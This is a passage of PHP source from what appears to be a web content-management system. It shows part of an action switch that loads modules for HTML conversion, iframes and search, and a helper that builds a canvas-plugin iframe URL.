break; case "convhtml": req('spe,tri'); $_GET['urlsrc'] = host() . '/'; $ret = convhtml_b($id); break; case "convconn": req('pop,tri'); //wwig $ret = format_txt_r(ajx($id, 1), 3, 'test'); break; case "iframe": $s = strdeb($res, '-'); $s = is_numeric($s) ? $s : 720; $s = $s > prma('content') ? prma('content') : $s; $ret = iframe($id, $s - 20); $t = $va; break; //case("inframe"):$ret=inframe($id,$va,$opt,$optb); break; //nav //case("inframe"):$ret=inframe($id,$va,$opt,$optb); break; //nav case "search": req('pop,spe,art,tri,mod'); require 'plug/search.php'; $ret = plug_search($id, $va, $opt, $res); $t = nms(24); $s = 640; break; case "words": req('pop,spe,tri,meta');
function cnvs_iframe($id, $b, $res) { $d = ajxg($res); $d = str_replace("\n", ' ', $d); return iframe('/plug/canvas.php?graphic=' . $d . '&graphid=' . $id . '&graphsz=420-300', 440); }